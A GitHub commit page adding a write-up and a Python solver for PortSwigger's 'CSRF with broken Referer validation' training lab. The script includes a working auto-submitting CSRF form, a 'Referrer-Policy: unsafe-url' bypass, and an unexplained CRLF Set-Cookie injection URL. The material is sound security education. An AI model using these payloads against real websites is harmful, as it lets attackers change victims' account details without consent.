Skip to content

Commit

Permalink
Add CSRF with broken Referer validation
Browse files Browse the repository at this point in the history
  • Loading branch information
frank-leitner committed May 1, 2022
1 parent 7a109e0 commit 60ef0ef
Show file tree
Hide file tree
Showing 11 changed files with 135 additions and 1 deletion.
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# Write-up: CSRF with broken Referer validation @ PortSwigger Academy

![logo](img/logo.png)

This write-up for the lab `CSRF with broken Referer validation` is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security).

Lab-Link: <https://portswigger.net/web-security/csrf/lab-referer-validation-broken>
Difficulty: PRACTITIONER
Python script: [script.py](script.py)

## Lab description

- Lab application contains an email change feature that is vulnerable to CSRF
- Attempts to detect cross domain requests
- Known good credentials `wiener:peter`

### Goals

- Create some HTML to change a viewers email address

## Steps

As usual in the lab section, the lab application is the blog website. The vast majority of considerations are the same as in the [Lab: CSRF where token validation depends on request method](../CSRF_where_token_validation_depends_on_request_method/README.md) so I will not duplicate it in here, please refer to that document.

I login with the known credentials for `wiener` and change the email address. This results in the following request:

![change_request](img/change_request.png)

No obvious protections against CSRF is visible, sending the request to Repeater and change the email again works without issues.

The first attempt is to use a trivial attack like in the [Lab: CSRF vulnerability with no defenses](../CSRF_vulnerability_with_no_defenses/README.md). As expected this fails with a descriptive error message indicating the referer-header:

![trivial_attempt](img/trivial_attempt.png)

The same occurs if I simply remove the referer in Repeater. If I copy the original referer-header in, it passes. Therefore I need to manipulate the referer in a way that passes the validation even though it is sent by the exploit server.

As a first attempt, I simply add the correct URL at the end of the referer-header, basically forming a path:

![real_url_as_path](img/real_url_as_path.png)

The request goes through and the email gets changed. So as a first attempt I rename the exploit file to be the URL of the allowed host. The form I get from the `CSRF PoC generator` of Burp Suite Pro. If you use the community edition, copy the form from the account website and update it accordingly:

![modify_path](img/modify_path.png)

Unfortunately, the browser removes the path and I still get just the domain part in the URL.

Fortunately, the documentation regarding referrer-policy on [mozilla.org](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) shows the solution:

![referrer_policy_docu](img/referrer_policy_docu.png)

I create the final HTML page to include this header:

![final_html](img/final_html.png)

Viewing the exploit changes my email address, after `deliver exploit to victim` the lab updates to

![success](img/success.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
#!/usr/bin/env python3
# CSRF with broken Referer validation
# Lab-Link: https://portswigger.net/web-security/csrf/lab-referer-validation-broken
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def find_exploitserver(text):
soup = BeautifulSoup(text, 'html.parser')
try:
result = soup.find('a', attrs={'id': 'exploit-link'})['href']
except TypeError:
return None
return result


def store_exploit(client, exploit_server, host):
token = 'abc'
cookieURL = f'{host}/?search=x%0d%0aSet-Cookie:+csrf={token}'
data = {'urlIsHttps': 'on',
'responseFile': f'/{host[8:]}',
'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url''',
'responseBody': '''<form action="''' + host + '''/my-account/change-email" method="POST">
<input type="hidden" name="email" value="email&#64;evil&#46;me" />
<input type="submit" value="Submit request" />
</form>
<img src=''' + cookieURL + ''' onerror="document.forms[0].submit()">''',
'formAction': 'STORE'}

return client.post(exploit_server, data=data).status_code == 200


def main():
print('[+] CSRF with broken Referer validation')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)

client = requests.Session()
client.verify = False
client.proxies = proxies

exploit_server = find_exploitserver(client.get(host).text)
if exploit_server is None:
print(f'[-] Failed to find exploit server')
sys.exit(-2)
print(f'[+] Exploit server: {exploit_server}')

if not store_exploit(client, exploit_server, host):
print(f'[-] Failed to store exploit file')
sys.exit(-3)
print(f'[+] Stored exploit file')

if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
print(f'[-] Failed to deliver exploit to victim')
sys.exit(-4)
print(f'[+] Delivered exploit to victim')

if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-9)

print(f'[+] Lab solved')


if __name__ == "__main__":
main()
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ So I create the scripts to learn about python and how to use it to interact with
| 10 | XXE injection | :heavy_check_mark: | 9/9 |
| | **Client-side topics** ||
| 11 | Cross-site scripting (XSS) || 21/30 |
| 12 | Cross-site request forgery (CSRF) || 7/8 |
| 12 | Cross-site request forgery (CSRF) | :heavy_check_mark: | 8/8 |
| 13 | Cross-origin resource sharing (CORS) || 0/4 |
| 14 | Clickacking || 0/5 |
| 15 | DOM-based vulnerabilities || 0/7 |
Expand Down

0 comments on commit 60ef0ef

Please sign in to comment.